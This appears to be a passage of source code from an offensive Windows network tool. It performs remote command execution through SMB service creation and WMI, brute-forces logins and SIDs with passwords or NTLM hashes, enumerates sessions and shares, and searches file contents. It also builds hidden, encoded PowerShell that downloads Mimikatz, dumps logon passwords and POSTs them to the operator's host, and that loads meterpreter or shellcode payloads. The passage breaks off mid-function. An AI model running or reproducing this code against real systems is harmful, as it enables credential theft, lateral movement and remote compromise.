2015-08-17 16:40:10 +00:00
s = rpc . get_smb_connection ( )
# We don't wanna deal with timeouts from now on.
s . setTimeout ( 100000 )
if mode == ' SERVER ' :
myIPaddr = s . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
self . __copyBack = ' copy %s \\ \\ %s \\ %s ' % ( self . __output , myIPaddr , DUMMY_SHARE )
2015-08-20 21:33:18 +00:00
self . __scmr . bind ( scmr . MSRPC_UUID_SCMR )
resp = scmr . hROpenSCManagerW ( self . __scmr )
self . __scHandle = resp [ ' lpScHandle ' ]
self . transferClient = rpc . get_smb_connection ( )
2015-08-17 16:40:10 +00:00
def set_copyback ( self ) :
s = self . __rpc . get_smb_connection ( )
s . setTimeout ( 100000 )
myIPaddr = s . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
self . __copyBack = ' copy %s \\ \\ %s \\ %s ' % ( self . __output , myIPaddr , DUMMY_SHARE )
def finish ( self ) :
# Just in case the service is still created
try :
self . __scmr = self . __rpc . get_dce_rpc ( )
self . __scmr . connect ( )
self . __scmr . bind ( svcctl . MSRPC_UUID_SVCCTL )
resp = scmr . hROpenSCManagerW ( self . __scmr )
self . __scHandle = resp [ ' lpScHandle ' ]
resp = scmr . hROpenServiceW ( self . __scmr , self . __scHandle , self . __serviceName )
service = resp [ ' lpServiceHandle ' ]
scmr . hRDeleteService ( self . __scmr , service )
scmr . hRControlService ( self . __scmr , service , scmr . SERVICE_CONTROL_STOP )
scmr . hRCloseServiceHandle ( self . __scmr , service )
except Exception , e :
pass
def get_output ( self ) :
def output_callback ( data ) :
self . __outputBuffer + = data
2015-08-19 09:47:51 +00:00
if self . __noOutput is True :
self . __outputBuffer = ' '
return
2015-08-17 16:40:10 +00:00
if self . __mode == ' SHARE ' :
while True :
try :
self . transferClient . getFile ( self . __share , self . __output , output_callback )
break
except Exception , e :
if " STATUS_OBJECT_NAME_NOT_FOUND " in str ( e ) :
sleep ( 1 )
pass
else :
logging . info ( ' Error while reading command output: {} ' . format ( e ) )
raise SessionError
self . transferClient . deleteFile ( self . __share , self . __output )
elif self . __mode == ' SERVER ' :
with open ( SMBSERVER_DIR + ' / ' + OUTPUT_FILENAME , ' r ' ) as fd :
output_callback ( fd . read ( ) )
#self.transferClient.deleteFile(self.__share, self.__output)
def execute_remote ( self , data ) :
command = self . __shell + ' echo ' + data + ' ^> ' + self . __output + ' 2^>^&1 > ' + self . __batchFile + ' & ' + self . __shell + self . __batchFile
2015-08-19 09:47:51 +00:00
if self . __mode == ' SERVER ' and self . __noOutput is False :
2015-08-17 16:40:10 +00:00
command + = ' & ' + self . __copyBack
command + = ' & ' + ' del ' + self . __batchFile
try :
resp = scmr . hRCreateServiceW ( self . __scmr , self . __scHandle , self . __serviceName , self . __serviceName , lpBinaryPathName = command )
service = resp [ ' lpServiceHandle ' ]
except :
return
try :
scmr . hRStartServiceW ( self . __scmr , service )
except :
pass
scmr . hRDeleteService ( self . __scmr , service )
scmr . hRCloseServiceHandle ( self . __scmr , service )
self . get_output ( )
def send_data ( self , data ) :
self . execute_remote ( data )
result = self . __outputBuffer
self . __outputBuffer = ' '
return result
2015-08-14 14:18:52 +00:00
class CMDEXEC :
KNOWN_PROTOCOLS = {
' 139/SMB ' : ( r ' ncacn_np: %s [ \ pipe \ svcctl] ' , 139 ) ,
' 445/SMB ' : ( r ' ncacn_np: %s [ \ pipe \ svcctl] ' , 445 ) ,
}
2015-08-19 09:47:51 +00:00
def __init__ ( self , protocols = None , username = ' ' , password = ' ' , domain = ' ' , hashes = ' ' , share = None , command = None , noOutput = False ) :
2015-08-14 14:18:52 +00:00
if not protocols :
protocols = CMDEXEC . KNOWN_PROTOCOLS . keys ( )
self . __username = username
self . __password = password
self . __protocols = [ protocols ]
self . __serviceName = self . service_generator ( )
self . __domain = domain
self . __command = command
self . __lmhash = ' '
self . __nthash = ' '
self . __aesKey = None
self . __doKerberos = None
self . __share = share
2015-08-19 09:47:51 +00:00
self . __noOutput = noOutput
2015-08-14 14:18:52 +00:00
self . __mode = ' SHARE '
if hashes :
self . __lmhash , self . __nthash = hashes . split ( ' : ' )
def service_generator ( self , size = 6 , chars = string . ascii_uppercase ) :
return ' ' . join ( random . choice ( chars ) for _ in range ( size ) )
def run ( self , addr ) :
result = ' '
for protocol in self . __protocols :
protodef = CMDEXEC . KNOWN_PROTOCOLS [ protocol ]
port = protodef [ 1 ]
2015-08-21 02:55:39 +00:00
#logging.info("Trying protocol %s..." % protocol)
#logging.info("Creating service %s..." % self.__serviceName)
2015-08-14 14:18:52 +00:00
stringbinding = protodef [ 0 ] % addr
rpctransport = transport . DCERPCTransportFactory ( stringbinding )
rpctransport . set_dport ( port )
if hasattr ( rpctransport , ' preferred_dialect ' ) :
rpctransport . preferred_dialect ( SMB_DIALECT )
if hasattr ( rpctransport , ' set_credentials ' ) :
# This method exists only for selected protocol sequences.
rpctransport . set_credentials ( self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash , self . __aesKey )
try :
2015-08-19 09:47:51 +00:00
self . shell = RemoteShellsmbexec ( self . __share , rpctransport , self . __mode , self . __serviceName , self . __command , self . __noOutput )
2015-08-14 14:18:52 +00:00
result = self . shell . send_data ( self . __command )
except SessionError as e :
if ' STATUS_SHARING_VIOLATION ' in str ( e ) :
return
2015-09-28 21:08:14 +00:00
elif self . __noOutput is False :
2015-08-19 09:47:51 +00:00
logging . info ( ' Starting SMB Server ' )
smb_server = SMBServer ( )
smb_server . daemon = True
smb_server . start ( )
self . __mode = ' SERVER '
self . shell = RemoteShellsmbexec ( self . __share , rpctransport , self . __mode , self . __serviceName , self . __command )
self . shell . set_copyback ( )
result = self . shell . send_data ( self . __command )
smb_server . stop ( )
2015-08-14 14:18:52 +00:00
2015-09-28 21:08:14 +00:00
else :
if args . verbose : traceback . print_exc ( )
if hasattr ( self , ' shell ' ) :
self . shell . finish ( )
sys . stdout . flush ( )
2015-08-14 14:18:52 +00:00
return result
class RemoteShellwmi ( ) :
2015-08-17 16:40:10 +00:00
def __init__ ( self , share , win32Process , smbConnection , mode , noOutput = False ) :
2015-08-14 14:18:52 +00:00
self . __share = share
2015-08-20 11:45:12 +00:00
self . __output = ' \\ Windows \\ Temp \\ ' + OUTPUT_FILENAME
2015-08-14 14:18:52 +00:00
self . __outputBuffer = ' '
self . __shell = ' cmd.exe /Q /c '
self . __win32Process = win32Process
self . __transferClient = smbConnection
self . __pwd = ' C: \\ '
2015-08-17 16:40:10 +00:00
self . __noOutput = noOutput
self . __mode = mode
2015-08-14 14:18:52 +00:00
# We don't wanna deal with timeouts from now on.
2015-08-17 16:40:10 +00:00
self . __transferClient . setTimeout ( 100000 )
self . __myIPaddr = self . __transferClient . getSMBServer ( ) . get_socket ( ) . getsockname ( ) [ 0 ]
2015-08-14 14:18:52 +00:00
def get_output ( self ) :
def output_callback ( data ) :
self . __outputBuffer + = data
if self . __noOutput is True :
self . __outputBuffer = ' '
return
2015-08-17 16:40:10 +00:00
if self . __mode == ' SHARE ' :
while True :
try :
self . __transferClient . getFile ( self . __share , self . __output , output_callback )
break
except Exception , e :
if " STATUS_SHARING_VIOLATION " in str ( e ) :
sleep ( 1 )
pass
else :
logging . info ( ' Error while reading command output: {} ' . format ( e ) )
raise SessionError
self . __transferClient . deleteFile ( self . __share , self . __output )
elif self . __mode == ' SERVER ' :
wait = 0
while wait < 5 :
try :
with open ( SMBSERVER_DIR + ' / ' + OUTPUT_FILENAME , ' r ' ) as fd :
output_callback ( fd . read ( ) )
break
except IOError :
2015-08-14 14:18:52 +00:00
sleep ( 1 )
2015-08-17 16:40:10 +00:00
wait + = 1
2015-08-14 14:18:52 +00:00
def execute_remote ( self , data ) :
command = self . __shell + data
if self . __noOutput is False :
2015-08-17 16:40:10 +00:00
if self . __mode == ' SERVER ' :
command + = ' 1> ' + ' \\ \\ {} \\ {} \\ {} ' . format ( self . __myIPaddr , DUMMY_SHARE , OUTPUT_FILENAME ) + ' 2>&1 '
elif self . __mode == ' SHARE ' :
command + = ' 1> ' + ' \\ \\ 127.0.0.1 \\ %s ' % self . __share + self . __output + ' 2>&1 '
2015-08-14 14:18:52 +00:00
obj = self . __win32Process . Create ( command , self . __pwd , None )
self . get_output ( )
def send_data ( self , data ) :
self . execute_remote ( data )
result = self . __outputBuffer
self . __outputBuffer = ' '
return result
2015-08-17 16:40:10 +00:00
class WMIEXEC :
def __init__ ( self , command = ' ' , username = ' ' , password = ' ' , domain = ' ' , hashes = ' ' , share = None , noOutput = False ) :
self . __command = command
self . __username = username
self . __password = password
self . __domain = domain
self . __lmhash = ' '
self . __nthash = ' '
self . __aesKey = None
self . __share = share
self . __noOutput = noOutput
self . __doKerberos = False
self . __mode = " SHARE "
if hashes :
self . __lmhash , self . __nthash = hashes . split ( ' : ' )
def run ( self , addr , smbConnection ) :
result = ' '
dcom = DCOMConnection ( addr , self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash , self . __aesKey , oxidResolver = True , doKerberos = self . __doKerberos )
iInterface = dcom . CoCreateInstanceEx ( wmi . CLSID_WbemLevel1Login , wmi . IID_IWbemLevel1Login )
iWbemLevel1Login = wmi . IWbemLevel1Login ( iInterface )
iWbemServices = iWbemLevel1Login . NTLMLogin ( ' //./root/cimv2 ' , NULL , NULL )
iWbemLevel1Login . RemRelease ( )
win32Process , _ = iWbemServices . GetObject ( ' Win32_Process ' )
try :
self . shell = RemoteShellwmi ( self . __share , win32Process , smbConnection , self . __mode , self . __noOutput )
result = self . shell . send_data ( self . __command )
except SessionError as e :
2015-08-19 09:47:51 +00:00
if self . __noOutput is False :
logging . info ( ' Starting SMB Server ' )
smb_server = SMBServer ( )
smb_server . daemon = True
smb_server . start ( )
self . __mode = ' SERVER '
self . shell = RemoteShellwmi ( self . __share , win32Process , smbConnection , self . __mode )
result = self . shell . send_data ( self . __command )
smb_server . stop ( )
2015-08-17 16:40:10 +00:00
dcom . disconnect ( )
return result
2015-08-28 16:02:20 +00:00
class WMIQUERY :
def __init__ ( self , address , username , password , domain , hashes , namespace ) :
self . address = address
self . username = username
self . password = password
self . domain = domain
self . namespace = namespace
self . lmhash = ' '
self . nthash = ' '
if hashes :
self . lmhash , self . nthash = hashes . split ( ' : ' )
def run ( self , query ) :
record_dict = { }
dcom = DCOMConnection ( self . address , self . username , self . password , self . domain , self . lmhash , self . nthash , None , oxidResolver = True , doKerberos = False )
iInterface = dcom . CoCreateInstanceEx ( wmi . CLSID_WbemLevel1Login , wmi . IID_IWbemLevel1Login )
iWbemLevel1Login = wmi . IWbemLevel1Login ( iInterface )
iWbemServices = iWbemLevel1Login . NTLMLogin ( self . namespace , NULL , NULL )
iWbemLevel1Login . RemRelease ( )
query = query . strip ( ' \n ' )
if query [ - 1 : ] == ' ; ' :
query = query [ : - 1 ]
iEnumWbemClassObject = iWbemServices . ExecQuery ( query . strip ( ' \n ' ) )
printHeader = True
while True :
try :
pEnum = iEnumWbemClassObject . Next ( 0xffffffff , 1 ) [ 0 ]
record = pEnum . getProperties ( )
if printHeader is True :
for col in record :
2015-08-28 17:21:17 +00:00
record_dict [ str ( col ) ] = [ ]
2015-08-28 16:02:20 +00:00
printHeader = False
for key in record :
2015-08-28 17:21:17 +00:00
record_dict [ key ] . append ( str ( record [ key ] [ ' value ' ] ) )
2015-08-28 16:02:20 +00:00
except Exception as e :
if str ( e ) . find ( ' S_FALSE ' ) < 0 :
raise
else :
break
iEnumWbemClassObject . RemRelease ( )
dcom . disconnect ( )
return record_dict
2015-10-06 08:07:28 +00:00
class LSALookupSid :
KNOWN_PROTOCOLS = {
' 139/SMB ' : ( r ' ncacn_np: %s [ \ pipe \ lsarpc] ' , 139 ) ,
' 445/SMB ' : ( r ' ncacn_np: %s [ \ pipe \ lsarpc] ' , 445 ) ,
}
def __init__ ( self , username , password , domain , protocols = None , hashes = None , maxRid = 4000 ) :
if not protocols :
protocols = LSALookupSid . KNOWN_PROTOCOLS . keys ( )
self . __username = username
self . __password = password
self . __protocols = [ protocols ]
self . __maxRid = int ( maxRid )
self . __domain = domain
self . __lmhash = ' '
self . __nthash = ' '
if hashes is not None :
self . __lmhash , self . __nthash = hashes . split ( ' : ' )
def dump ( self , addr ) :
logging . info ( ' Brute forcing SIDs at %s ' % addr )
# Try all requested protocols until one works.
for protocol in self . __protocols :
protodef = LSALookupSid . KNOWN_PROTOCOLS [ protocol ]
port = protodef [ 1 ]
logging . info ( " Trying protocol %s ... " % protocol )
stringbinding = protodef [ 0 ] % addr
rpctransport = transport . DCERPCTransportFactory ( stringbinding )
rpctransport . set_dport ( port )
if hasattr ( rpctransport , ' set_credentials ' ) :
# This method exists only for selected protocol sequences.
rpctransport . set_credentials ( self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash )
try :
self . __bruteForce ( rpctransport , self . __maxRid )
except Exception , e :
logging . critical ( str ( e ) )
raise
else :
# Got a response. No need for further iterations.
break
def __bruteForce ( self , rpctransport , maxRid ) :
dce = rpctransport . get_dce_rpc ( )
entries = [ ]
dce . connect ( )
# Want encryption? Uncomment next line
# But make SIMULTANEOUS variable <= 100
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
# Want fragmentation? Uncomment next line
#dce.set_max_fragment_size(32)
dce . bind ( lsat . MSRPC_UUID_LSAT )
resp = lsat . hLsarOpenPolicy2 ( dce , MAXIMUM_ALLOWED | lsat . POLICY_LOOKUP_NAMES )
policyHandle = resp [ ' PolicyHandle ' ]
resp = lsad . hLsarQueryInformationPolicy2 ( dce , policyHandle , lsad . POLICY_INFORMATION_CLASS . PolicyAccountDomainInformation )
domainSid = resp [ ' PolicyInformation ' ] [ ' PolicyAccountDomainInfo ' ] [ ' DomainSid ' ] . formatCanonical ( )
soFar = 0
SIMULTANEOUS = 1000
for j in range ( maxRid / SIMULTANEOUS + 1 ) :
if ( maxRid - soFar ) / SIMULTANEOUS == 0 :
sidsToCheck = ( maxRid - soFar ) % SIMULTANEOUS
else :
sidsToCheck = SIMULTANEOUS
if sidsToCheck == 0 :
break
sids = [ ]
for i in xrange ( soFar , soFar + sidsToCheck ) :
sids . append ( domainSid + ' - %d ' % i )
try :
lsat . hLsarLookupSids ( dce , policyHandle , sids , lsat . LSAP_LOOKUP_LEVEL . LsapLookupWksta )
except DCERPCException , e :
if str ( e ) . find ( ' STATUS_NONE_MAPPED ' ) > = 0 :
soFar + = SIMULTANEOUS
continue
elif str ( e ) . find ( ' STATUS_SOME_NOT_MAPPED ' ) > = 0 :
resp = e . get_packet ( )
else :
raise
for n , item in enumerate ( resp [ ' TranslatedNames ' ] [ ' Names ' ] ) :
if item [ ' Use ' ] != SID_NAME_USE . SidTypeUnknown :
entries . append ( " {} : {} \\ {} ( {} ) " . format ( soFar + n , resp [ ' ReferencedDomains ' ] [ ' Domains ' ] [ item [ ' DomainIndex ' ] ] [ ' Name ' ] , item [ ' Name ' ] , SID_NAME_USE . enumItems ( item [ ' Use ' ] ) . name ) )
soFar + = SIMULTANEOUS
self . entries = entries
dce . disconnect ( )
2015-08-16 13:53:08 +00:00
class RPCENUM ( ) :
def __init__ ( self , username , password , domain = ' ' , hashes = None ) :
self . __username = username
self . __password = password
self . __domain = domain
self . __lmhash = ' '
self . __nthash = ' '
self . __ts = ( ' 8a885d04-1ceb-11c9-9fe8-08002b104860 ' , ' 2.0 ' )
if hashes :
self . __lmhash , self . __nthash = hashes . split ( ' : ' )
def connect ( self , host , service ) :
if service == ' wkssvc ' :
stringBinding = r ' ncacn_np: {} [ \ PIPE \ wkssvc] ' . format ( host )
elif service == ' srvsvc ' :
stringBinding = r ' ncacn_np: {} [ \ PIPE \ srvsvc] ' . format ( host )
rpctransport = transport . DCERPCTransportFactory ( stringBinding )
rpctransport . set_credentials ( self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash )
dce = rpctransport . get_dce_rpc ( )
dce . connect ( )
if service == ' wkssvc ' :
dce . bind ( wkst . MSRPC_UUID_WKST , transfer_syntax = self . __ts )
elif service == ' srvsvc ' :
dce . bind ( srvs . MSRPC_UUID_SRVS , transfer_syntax = self . __ts )
return dce , rpctransport
def enum_logged_on_users ( self , host ) :
dce , rpctransport = self . connect ( host , ' wkssvc ' )
2015-08-16 21:25:20 +00:00
users_info = { }
try :
resp = wkst . hNetrWkstaUserEnum ( dce , 1 )
return resp [ ' UserInfo ' ] [ ' WkstaUserInfo ' ] [ ' Level1 ' ] [ ' Buffer ' ]
except Exception :
resp = wkst . hNetrWkstaUserEnum ( dce , 0 )
return resp [ ' UserInfo ' ] [ ' WkstaUserInfo ' ] [ ' Level0 ' ] [ ' Buffer ' ]
2015-08-16 13:53:08 +00:00
def enum_sessions ( self , host ) :
dce , rpctransport = self . connect ( host , ' srvsvc ' )
2015-08-16 21:25:20 +00:00
session_info = { }
try :
resp = srvs . hNetrSessionEnum ( dce , NULL , NULL , 502 )
return resp [ ' InfoStruct ' ] [ ' SessionInfo ' ] [ ' Level502 ' ] [ ' Buffer ' ]
except Exception :
resp = srvs . hNetrSessionEnum ( dce , NULL , NULL , 0 )
return resp [ ' InfoStruct ' ] [ ' SessionInfo ' ] [ ' Level0 ' ] [ ' Buffer ' ]
2015-08-16 13:53:08 +00:00
2015-08-16 21:25:20 +00:00
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 1)
#resp.dump()
2015-08-16 13:53:08 +00:00
2015-08-16 21:25:20 +00:00
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 2)
#resp.dump()
2015-08-16 13:53:08 +00:00
2015-08-16 21:25:20 +00:00
#resp = srvs.hNetrSessionEnum(dce, NULL, NULL, 10)
#resp.dump()
2015-08-16 13:53:08 +00:00
2015-10-06 08:07:28 +00:00
def enum_disks ( self , host ) :
dce , rpctransport = self . connect ( host , ' srvsvc ' )
try :
resp = srvs . hNetrServerDiskEnum ( dce , 1 )
return resp
except Exception :
resp = srvs . hNetrServerDiskEnum ( dce , 0 )
return resp
2015-10-04 06:04:08 +00:00
def smart_login ( host , smb , domain ) :
if args . combo_file :
with open ( args . combo_file , ' r ' ) as combo_file :
for line in combo_file :
try :
line = line . strip ( )
lmhash = ' '
nthash = ' '
if ' \\ ' in line :
domain , user_pass = line . split ( ' \\ ' )
else :
user_pass = line
'''
Here we try to manage two cases : if an entry has a hash as the password ,
or if the plain - text password contains a ' : '
'''
if len ( user_pass . split ( ' : ' ) ) == 3 :
hash_or_pass = ' : ' . join ( user_pass . split ( ' : ' ) [ 1 : 3 ] ) . strip ( )
#Not the best way to determine of it's an NTLM hash :/
if len ( hash_or_pass ) == 65 and len ( hash_or_pass . split ( ' : ' ) [ 0 ] ) == 32 and len ( hash_or_pass . split ( ' : ' ) [ 1 ] ) == 32 :
lmhash , nthash = hash_or_pass . split ( ' : ' )
passwd = hash_or_pass
user = user_pass . split ( ' : ' ) [ 0 ]
elif len ( user_pass . split ( ' : ' ) ) == 2 :
user , passwd = user_pass . split ( ' : ' )
try :
smb . login ( user , passwd , domain , lmhash , nthash )
2015-10-05 05:00:40 +00:00
print_succ ( " {} : {} Login successful ' {} \\ {} : {} ' " . format ( host , args . port , domain , user , passwd ) )
2015-10-04 06:04:08 +00:00
return smb
except SessionError as e :
2015-10-05 05:00:40 +00:00
print_error ( " {} : {} ' {} \\ {} : {} ' {} " . format ( host , args . port , domain , user , passwd , e ) )
2015-10-04 06:04:08 +00:00
continue
except Exception as e :
print_error ( " Error parsing line ' {} ' in combo file: {} " . format ( line , e ) )
continue
else :
usernames = [ ]
passwords = [ ]
hashes = [ ]
2015-10-05 05:00:40 +00:00
if args . user is not None :
2015-10-04 06:04:08 +00:00
if os . path . exists ( args . user ) :
usernames = open ( args . user , ' r ' )
else :
usernames = args . user . split ( ' , ' )
2015-10-05 05:00:40 +00:00
if args . passwd is not None :
2015-10-04 06:04:08 +00:00
if os . path . exists ( args . passwd ) :
passwords = open ( args . passwd , ' r ' )
else :
'''
You might be wondering : wtf is this ? why not use split ( ) ?
This is in case a password contains a comma ! we can use ' \\ ' to make sure it ' s parsed correctly
IMHO this is a much better way than writing a custom split ( ) function
'''
2015-10-05 05:00:40 +00:00
try :
passwords = csv . reader ( StringIO . StringIO ( args . passwd ) , delimiter = ' , ' , escapechar = ' \\ ' ) . next ( )
except StopIteration :
#in case we supplied only '' as the password (null session)
passwords = [ ' ' ]
2015-10-04 06:04:08 +00:00
2015-10-05 05:00:40 +00:00
if args . hash is not None :
2015-10-04 06:04:08 +00:00
if os . path . exists ( args . hash ) :
hashes = open ( args . hash , ' r ' )
else :
hashes = args . hash . split ( ' , ' )
for user in usernames :
user = user . strip ( )
try :
hashes . seek ( 0 )
except AttributeError :
pass
try :
passwords . seek ( 0 )
except AttributeError :
pass
if hashes :
for ntlm_hash in hashes :
2015-10-05 05:00:40 +00:00
ntlm_hash = ntlm_hash . strip ( ) . lower ( )
2015-10-04 06:04:08 +00:00
lmhash , nthash = ntlm_hash . split ( ' : ' )
try :
smb . login ( user , ' ' , domain , lmhash , nthash )
2015-10-05 05:00:40 +00:00
if user == ' ' : user = ' (null) '
print_succ ( " {} : {} Login successful ' {} \\ {} : {} ' " . format ( host , args . port , domain , user , ntlm_hash ) )
2015-10-04 06:04:08 +00:00
return smb
except SessionError as e :
2015-10-05 05:00:40 +00:00
if user == ' ' : user = ' (null) '
print_error ( " {} : {} ' {} \\ {} : {} ' {} " . format ( host , args . port , domain , user , ntlm_hash , e ) )
2015-10-04 06:04:08 +00:00
continue
if passwords :
for passwd in passwords :
passwd = passwd . strip ( )
try :
2015-10-05 06:14:34 +00:00
smb . login ( user , passwd , domain )
2015-10-05 05:00:40 +00:00
if user == ' ' : user = ' (null) '
if passwd == ' ' : passwd = ' (null) '
print_succ ( " {} : {} Login successful ' {} \\ {} : {} ' " . format ( host , args . port , domain , user , passwd ) )
2015-10-04 06:04:08 +00:00
return smb
except SessionError as e :
2015-10-05 05:00:40 +00:00
if user == ' ' : user = ' (null) '
if passwd == ' ' : passwd = ' (null) '
print_error ( " {} : {} ' {} \\ {} : {} ' {} " . format ( host , args . port , domain , user , passwd , e ) )
2015-10-04 06:04:08 +00:00
continue
raise socket . error
2015-10-05 06:14:34 +00:00
def spider ( smb_conn , ip , share , subfolder , patt , depth ) :
2015-08-19 14:06:07 +00:00
try :
filelist = smb_conn . listPath ( share , subfolder + ' \\ * ' )
2015-10-09 23:52:33 +00:00
dir_list ( filelist , ip , subfolder , patt , share , smb_conn )
2015-08-19 14:06:07 +00:00
if depth == 0 :
2015-10-09 23:52:33 +00:00
return
2015-08-19 14:06:07 +00:00
except SessionError :
2015-10-09 23:52:33 +00:00
return
2015-08-19 14:06:07 +00:00
for result in filelist :
2015-10-10 02:15:53 +00:00
if result . is_directory ( ) and result . get_longname ( ) != ' . ' and result . get_longname ( ) != ' .. ' and ( subfolder . split ( ' / ' ) [ - 1 ] not in args . exclude_dirs ) :
2015-08-20 08:52:34 +00:00
spider ( smb_conn , ip , share , subfolder + ' / ' + result . get_longname ( ) . encode ( ' utf8 ' ) , patt , depth - 1 )
2015-10-09 23:52:33 +00:00
return
2015-08-19 14:06:07 +00:00
2015-10-09 23:52:33 +00:00
def dir_list ( files , ip , path , pattern , share , smb ) :
2015-08-19 14:06:07 +00:00
for result in files :
for instance in pattern :
2015-10-10 03:04:20 +00:00
if re . findall ( instance , result . get_longname ( ) ) :
2015-08-19 14:06:07 +00:00
if result . is_directory ( ) :
2015-10-09 23:52:33 +00:00
print_att ( " // {} / {} / {} [dir] " . format ( ip , path . replace ( " // " , " " ) , result . get_longname ( ) . encode ( ' utf8 ' ) ) )
2015-08-19 14:06:07 +00:00
else :
2015-10-10 22:45:46 +00:00
print_att ( " // {} / {} / {} [lastm: ' {} ' size: {} ] " . format ( ip ,
path . replace ( " // " , " " ) ,
result . get_longname ( ) . encode ( ' utf8 ' ) ,
strftime ( ' % Y- % m- %d % H: % M ' , localtime ( result . get_mtime_epoch ( ) ) ) ,
result . get_filesize ( ) ) )
2015-10-09 23:52:33 +00:00
if args . search_content :
if not result . is_directory ( ) :
search_content ( smb , path , result , share , instance , ip )
return
def search_content ( smb , path , result , share , pattern , ip ) :
2015-10-10 01:44:02 +00:00
try :
rfile = RemoteFile ( smb , path + ' / ' + result . get_longname ( ) , share , access = FILE_READ_DATA )
rfile . open ( )
2015-10-09 23:52:33 +00:00
2015-10-10 01:44:02 +00:00
while True :
try :
contents = rfile . read ( 4096 )
except SessionError as e :
if ' STATUS_END_OF_FILE ' in str ( e ) :
return
2015-10-09 23:52:33 +00:00
2015-10-10 03:04:20 +00:00
if re . findall ( pattern , contents ) :
2015-10-10 22:45:46 +00:00
print_att ( " // {} / {} / {} [lastm: ' {} ' size: {} offset: {} pattern: {} ] " . format ( ip ,
path . replace ( " // " , " " ) ,
result . get_longname ( ) . encode ( ' utf8 ' ) ,
strftime ( ' % Y- % m- %d % H: % M ' , localtime ( result . get_mtime_epoch ( ) ) ) ,
result . get_filesize ( ) ,
rfile . tell ( ) ,
pattern . pattern ) )
2015-10-10 01:44:02 +00:00
rfile . close ( )
return
2015-10-10 15:28:04 +00:00
except SessionError as e :
if ' STATUS_SHARING_VIOLATION ' in str ( e ) :
pass
except Exception as e :
print_error ( str ( e ) )
2015-08-19 14:06:07 +00:00
2015-10-09 23:52:33 +00:00
def enum_shares ( smb ) :
2015-08-14 14:18:52 +00:00
permissions = { }
root = ntpath . normpath ( " \\ {} " . format ( PERM_DIR ) )
2015-10-09 18:58:09 +00:00
2015-08-14 14:18:52 +00:00
for share in smb . listShares ( ) :
2015-08-20 08:52:34 +00:00
share_name = share [ ' shi1_netname ' ] [ : - 1 ] . encode ( ' utf8 ' )
2015-10-09 18:58:09 +00:00
permissions [ share_name ] = [ ]
2015-08-14 14:18:52 +00:00
try :
2015-10-09 18:58:09 +00:00
if smb . listPath ( share_name , ' \\ * ' , args . passwd ) :
permissions [ share_name ] . append ( ' READ ' )
except SessionError :
2015-08-14 14:18:52 +00:00
pass
try :
if smb . createDirectory ( share_name , root ) :
smb . deleteDirectory ( share_name , root )
2015-10-09 18:58:09 +00:00
permissions [ share_name ] . append ( ' WRITE ' )
except SessionError :
2015-08-14 14:18:52 +00:00
pass
return permissions
2015-10-16 21:25:35 +00:00
def ps_command ( command ) :
if args . ssl :
command = " [Net.ServicePointManager]::ServerCertificateValidationCallback = { $true}; " + command
2015-08-14 14:18:52 +00:00
2015-10-08 18:57:16 +00:00
if args . force_ps32 :
2015-10-08 18:59:48 +00:00
command = ' IEX " $Env:windir \\ SysWOW64 \\ WindowsPowershell \\ v1.0 \\ powershell.exe -exec bypass -window hidden -noni -nop -encoded {} " ' . format ( b64encode ( command . encode ( ' UTF-16LE ' ) ) )
2015-10-08 18:57:16 +00:00
base64_command = b64encode ( command . encode ( ' UTF-16LE ' ) )
ps_command = ' powershell.exe -exec bypass -window hidden -noni -nop -encoded {} ' . format ( base64_command )
return ps_command
2015-08-14 14:18:52 +00:00
2015-10-16 21:25:35 +00:00
def gen_mimikatz_command ( localip , katz_command = ' privilege::debug sekurlsa::logonpasswords exit ' ) :
protocol = ' http '
if args . ssl :
protocol = ' https '
command = """
IEX ( New - Object Net . WebClient ) . DownloadString ( ' {protocol} :// {addr} /Invoke-Mimikatz.ps1 ' ) ;
$ creds = Invoke - Mimikatz - Command " {katz_command} " ;
$ request = [ System . Net . WebRequest ] : : Create ( ' {protocol} :// {addr} ' ) ;
$ request . Method = " POST " ;
$ request . ContentType = " application/x-www-form-urlencoded " ;
$ bytes = [ System . Text . Encoding ] : : ASCII . GetBytes ( $ creds ) ;
$ request . ContentLength = $ bytes . Length ;
$ requestStream = $ request . GetRequestStream ( ) ;
$ requestStream . Write ( $ bytes , 0 , $ bytes . Length ) ;
$ requestStream . Close ( ) ;
$ request . GetResponse ( ) ;
""" .format(protocol=protocol, addr=localip, katz_command=katz_command)
return ps_command ( command )
2015-09-13 17:39:39 +00:00
def inject_pscommand ( localip ) :
2015-10-16 21:25:35 +00:00
protocol = ' http '
if args . ssl :
protocol = ' https '
2015-09-13 17:39:39 +00:00
2015-10-08 04:21:25 +00:00
if args . inject . startswith ( ' met_ ' ) :
2015-10-08 01:34:05 +00:00
command = """
2015-10-16 21:25:35 +00:00
IEX ( New - Object Net . WebClient ) . DownloadString ( ' {} :// {} /Invoke-Shellcode.ps1 ' ) ;
Invoke - Shellcode - Force - Payload windows / meterpreter / { } - Lhost { } - Lport { } """ .format(protocol,
localip ,
2015-10-08 04:21:25 +00:00
args . inject [ 4 : ] ,
2015-10-08 01:34:05 +00:00
args . met_options [ 0 ] ,
args . met_options [ 1 ] )
if args . procid :
command + = " -ProcessID {} " . format ( args . procid )
command + = ' ; '
elif args . inject == ' shellcode ' :
2015-09-13 17:39:39 +00:00
command = """
2015-10-16 21:25:35 +00:00
IEX ( New - Object Net . WebClient ) . DownloadString ( ' {protocol} :// {addr} /Invoke-Shellcode.ps1 ' ) ;
2015-09-13 17:39:39 +00:00
$ WebClient = New - Object System . Net . WebClient ;
2015-10-16 21:25:35 +00:00
[ Byte [ ] ] $ bytes = $ WebClient . DownloadData ( ' {protocol} :// {addr} / {shellcode} ' ) ;
Invoke - Shellcode - Force - Shellcode $ bytes """ .format(protocol=protocol,
addr = localip ,
shellcode = args . path . split ( ' / ' ) [ - 1 ] )
2015-09-13 17:39:39 +00:00
if args . procid :
command + = " -ProcessID {} " . format ( args . procid )
command + = ' ; '
elif args . inject == ' exe ' or args . inject == ' dll ' :
command = """
2015-10-16 21:25:35 +00:00
IEX ( New - Object Net . WebClient ) . DownloadString ( ' {protocol} :// {addr} /Invoke-ReflectivePEInjection.ps1 ' ) ;
